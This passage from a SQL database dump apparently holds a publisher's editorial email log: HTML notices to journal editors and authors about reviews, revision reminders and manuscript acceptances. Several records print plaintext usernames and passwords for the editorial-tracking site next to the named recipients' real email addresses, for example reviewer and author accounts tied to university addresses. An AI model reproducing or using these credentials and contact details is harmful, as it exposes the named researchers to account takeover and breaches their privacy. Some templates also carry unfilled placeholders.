Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','maiko-s@med.shimane-u.ac.jp',602,'2019-10-15',75),(530,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-19-2681</b><br />\r\n            <br />\r\n            Article Title: <b>The need for lean thinking in the Kuwaiti healthcare system</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Hisham Kelendar</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Science Journal</b><br />\r\n            <br />\r\n            Dear Dr. <b>Vasilopoulos</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iphsj-19-2681</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','vasilogeos@yahoo.gr',2681,'2019-10-16',48),(535,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2686</b><br />\r\n            <br />\r\n            Article Title: <b>Candida parapsilosis sensu stricto: A  Pathobiont in Conditions of Oral Dysbiosis?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Lourdes Rodr&iacute;guez</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2686</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',2686,'2019-10-22',248),(536,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2686</b><br />\r\n            <br />\r\n            Article Title: <b>Candida parapsilosis sensu stricto: A  Pathobiont in Conditions of Oral Dysbiosis?</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rodr&iacute;guez</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipacm-19-2686</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.acmicrob.com/\">http://www.acmicrob.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>lourdes</b><br />\r\n            Password : <b>hIRYPm4L</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','lulyrodriguez84@gmail.com',2686,'2019-10-22',248),(540,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2669</b><br />\r\n            <br />\r\n            Article Title: <b>Fermented Soybean Meal as a Protein Source in Diets for Yellow Perch Perca flavescens</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aaron J. Von Eschen</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2669</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',2669,'2019-10-25',645),(548,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">&nbsp;</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-630</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A SIMPLE OVERVIEW OF ADDICTIVE BEHAVIOR</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Etindele Sosso Faustin Armel</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-630</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',630,'2019-10-29',75),(551,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2669</b><br />\r\n            <br />\r\n            Article Title: <b>Fermented Soybean Meal as a Protein Source in Diets for Yellow Perch Perca flavescens</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aaron J. Von Eschen</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2669</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',2669,'2019-10-29',645),(552,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2669</b><br />\r\n            <br />\r\n            Article Title: <b>Fermented Soybean Meal as a Protein Source in Diets for Yellow Perch Perca flavescens</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>Eschen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-10-29</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','aaron_voneschen@fws.gov',2669,'2019-10-29',645),(560,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2591</b><br />\r\n            <br />\r\n            Article Title: <b>Recent findings and development of 3D printing technology in pharmaceutical formulation development; an extensive review  </b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Bhattacharya </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.</p>\r\n            <p>There is a publication charge for processing your article kindly a make note on it and we would like to proceed further and will get bact to you with fianl galley proof and invoice within a span of 5-7 working days&nbsp;<br />\r\n            <br />\r\n            It is accepted on  <b>2019-10-31</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','sankhabhatt@gmail.com',2591,'2019-10-31',376),(561,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2602</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of in vitro antibacterial activity of extract of semi-aquatic plants growing in the polluted water of Sri Lanka.</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rajapaksha</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.</p>\r\n            <p>we would like to proceed further with comments and we will get back to with final galley proof and invoice kindly send your response to&nbsp;editor.ijddr@pharmajournals.org<br />\r\n            <br />\r\n            It is accepted on  <b>2019-10-31</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','werangar2@gmail.com',2602,'2019-10-31',376),(565,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-2674</b><br />\r\n            <br />\r\n            Article Title: <b>Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Josefien van Olmen</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-19-2674</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',2674,'2019-11-01',84),(568,'<p>Ref.:  Ms. No. : <b>ijddr-19-2611</b><br />\r\n<br />\r\nARTICLE TITLE: <b>DEVELOPMENT AND CHARACTERIZATION OF FLOATING MATRIX TABLETS OF GABAPENTIN</b><br />\r\n<br />\r\nJOURNAL: <b>International Journal of Drug Development and Research</b><br />\r\n<br />\r\nDear <b>Dr. MISHRA</b>,<br />\r\n<br />\r\nThe revision of <b>ijddr-19-2611</b> was expected by <b>24-11-2019</b>.<br />\r\n<br />\r\nYou have been sent <b>21-10-2019</b>&nbsp;reminder notices.&nbsp;<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>neelima</b><br />\r\npassword: <b>KsJx7tRi</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></p>',1,'Author Revision Subsequent Reminder','mishraneelima786@gmail.com',2611,'2019-11-04',376),(585,'<p>Ref.:  Ms. No. : <b>iphspr-19-2674</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Implementation barriers for mHealth for non communicable diseases prevention and management in low and middle income countries a scoping review and field based views from implementers </b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. van Olmen</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-19-2674</b> was expected by <b>17 November 2019</b><br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>josefien</b><br />\r\npassword: <b>7uYIyzXr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','jvanolmen@itg.be',2674,'2019-11-12',84),(587,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2768</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of consumer&rsquo;s perspectives regarding fish quality in Iran</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Afshin Adeli</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2768</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',2768,'2019-11-13',645),(588,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2755</b><br />\r\n            <br />\r\n            Article Title: <b>effects of methanol extract of toasted african yam bean seeds sphenostylis stenocarpa on antiinflammatory properties</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ganyam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-13</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ganyamm@yahoo.com',2755,'2019-11-13',376),(593,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2755</b><br />\r\n            <br />\r\n            Article Title: <b>effects of methanol extract of toasted african yam bean seeds sphenostylis stenocarpa on antiinflammatory properties</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ganyam</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-14</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ganyamm@yahoo.com',2755,'2019-11-14',376),(594,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2708</b><br />\r\n            <br />\r\n            Article Title: <b>PHYTOCHEMICAL ANALYSIS AND TLC STUDIES OF ECLIPTA ALBA AND SCOPARIA DULCIS PLANT EXTRACT- COLD EXTRACTION</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hoque</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-14</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rumanahoque1987@gmail.com',2708,'2019-11-14',376),(614,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-19-2617</b><br />\r\n            <br />\r\n            Article Title: <b>OSTEOMIELITIS DE LA BASE DEL CR&Aacute;NEO Y OTRAS COMPLICACIONES SECUNDARIAS A OTITIS MEDIA AGUDA DETECTADAS POR TOMOGRAF&Iacute;A CRANEAL SIMPLE EN UN PACIENTE PEDI&Aacute;TRICO. REPORTE DE UN CASO. </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Claudio Alberto Casas Murillo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Menendez</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-19-2617</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> manuel<br />\r\n            <b>Password:</b> ZHGFSWln<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','manuelmenendez@gmail.com',2617,'2019-11-21',274),(615,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-19-2708</b><br />\r\n            <br />\r\n            Article Title: <b>PHYTOCHEMICAL ANALYSIS AND TLC STUDIES OF ECLIPTA ALBA AND SCOPARIA DULCIS PLANT EXTRACT- COLD EXTRACTION</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hoque</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-21</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rumanahoque1987@gmail.com',2708,'2019-11-21',376),(621,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-1394</b><br />\r\n            <br />\r\n            Article Title: <b>COMPARATIVE STUDY ON HUMAN RESOURCE MANAGEMENT IN PRIVATE AND PUBLIC HEALTH FACILITIES IN TIGRAY REGION, ETHIOPIA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Atakilt Siyum</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-1394</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"http://www.imedpub.com/editorial-tracking/\">http://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',1394,'2019-11-25',85),(626,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-19-2877</b><br />\r\n            <br />\r\n            Article Title: <b> Asymptomatic migration of ventriculoperitoneal shunt tube through the anus</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Al Ani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-11-25</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ameralqadi2002@yahoo.com',2877,'2019-11-25',319),(628,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px 